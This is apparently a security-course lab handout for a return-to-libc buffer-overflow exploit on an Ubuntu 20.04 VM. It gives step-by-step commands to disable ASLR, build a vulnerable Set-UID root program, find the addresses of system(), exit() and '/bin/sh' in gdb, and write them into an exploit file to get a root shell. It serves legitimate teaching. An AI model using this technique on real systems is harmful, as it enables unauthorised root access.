LAB: Return to libc Attack (2016 Version; Ubuntu 20.04 VM)
**********

Aim: Exploiting buffer overflow vulnerability to launch a shell when the stack is
not executable (i.e., defeating the "noexecstack" countermeasure)

I recommend that you start and finish all lab steps/tasks in a single session.

Files provided:

    shellcode.c (used to demonstrate how "execstack" and "noexecstack" options to gcc work)

    retlib.c (program that has buffer-overflow vulnerability)

    exploit.c (partially completed exploit code that generates file "badfile";
               "badfile" is then used as input to vulnerable program in retlib.c)

    prnenv.c (to find the address of MYSHELL environment variable)

File modified in the lab: exploit.c

File generated when exploit.c is executed: badfile

1)  Demonstration of using gcc with "execstack" and "noexecstack" options

    // compiling with "execstack" option lets you execute code placed on stack
    $ gcc -m32 -z execstack shellcode.c
    $ ./a.out       // this should launch a shell
    $
    $ exit

    // compiling with "noexecstack" option will not execute code placed on stack
    // and will generate segmentation fault
    $ gcc -m32 -z noexecstack shellcode.c
    $ ./a.out       // this should generate a segmentation fault

2)  Disable "virtual address space layout randomization (ASLR)" feature in Ubuntu

    To check the current setting of ASLR:

    $ sysctl -a --pattern "randomize"

    To turn off address space layout randomization:

    $ sudo sysctl -w kernel.randomize_va_space=0

3)  Compile the vulnerable program in retlib.c and make it a root-owned Set-UID program
    (with stack guard on and non-executable stack)

    $ gcc -m32 -fno-stack-protector -z noexecstack -g -o retlib retlib.c

    $ sudo chown root retlib

    $ sudo chmod 4755 retlib

    $ ls -l retlib          ; verify retlib is a root owned set-uid program

4)  Find the address of system() and exit() functions loaded from the libc library.

    Let's debug "retlib" executable to find these addresses.

    $ gdb -q retlib         ; ignore any warnings generated
    ...
    gdb-peda$ b main        ; place a break point at main() function
    ...
    gdb-peda$ run           ; run the program to the break point
    ...
    gdb-peda$ p system      ; IMPORTANT: note down the address of system() displayed
                              (copy and paste the address to a temp file)

```
    ...
    gdb-peda$ p exit        ; IMPORTANT: note down the address of exit() displayed
                              (copy and paste the address to a temp file)
    ...
    gdb-peda$ quit
```

5) Export a shell variable named MYSHELL with value "/bin/sh" (so it is available as an environment variable to programs/processes run from that shell).

```
    $ export MYSHELL=/bin/sh
    $ env | grep MYSHELL    ; verify export
```

6) Find the address of environment variable MYSHELL using the program in prnenv.c

```
    $ gcc -m32 -o prnenv prnenv.c
    $ ./prnenv              ; IMPORTANT: note down the address of "/bin/sh" displayed
                              (copy and paste the address to a temp file)
```

7) Using gdb debugger, find the distance between buffer[] and ebp when the execution enters the bof() function in retlib.c:

```
    $ touch badfile         ; creates an empty badfile

    $ gdb -q retlib         ; ignore any warnings generated
    ...
    gdb-peda$ b bof         ; place a break point at bof() function
    ...
    gdb-peda$ run           ; run the program to the break point in bof()
    ...
    gdb-peda$ next
    ...
    gdb-peda$ p &buffer     ; prints the address of buffer; make a note of this address
                            ; we will refer to this address value as "bufferaddr"
    ...
    gdb-peda$ p $ebp        ; prints the value of ebp register; make a note of this address
                            ; we will refer to this address as "ebpval"
    ...
    gdb-peda$ p/d (ebpval - bufferaddr)
                            ; value displayed is the "distance" between ebp and buffer
                            ; IMPORTANT: make a note of the value displayed
    ...
    gdb-peda$ quit
```

8) Edit the file exploit.c as shown below, compile, and run it to generate "badfile"
EXTREME CAUTION: make sure to edit these three lines using right values

```
    *(long *) &buf[X] = address of "/bin/sh";   // where X = distance + 12

    *(long *) &buf[Y] = address of system();    // where Y = distance + 4

    *(long *) &buf[Z] = address of exit();      // where Z = distance + 8


    // compile the file exploit.c
    $ gcc -m32 -o exploit exploit.c

    $ ./exploit         ; this generates "badfile"

    $ ls -l badfile     ; verify the length of badfile is 40 bytes
```

9) Run the vulnerable program to see if it launches a root shell

```
    $ ./retlib
    $
    $ id
    $ whoami            ; should display seed
    $ exit
    $
```

NOTE: On Ubuntu 20.04, you have to do the following before running the vulnerable program to get the root shell:

```
; switch shell from dash to zsh
$ sudo ln -sf /bin/zsh /bin/sh

; run the vulnerable program again
$ ./retlib      ; you should get a root shell now indicated by # prompt
#
# id            ; confirm that effective user id (euid) is 0 (root)
# whoami        ; should display root
# exit

; IMPORTANT: revert shell back to dash
$ sudo ln -sf /bin/dash /bin/sh
```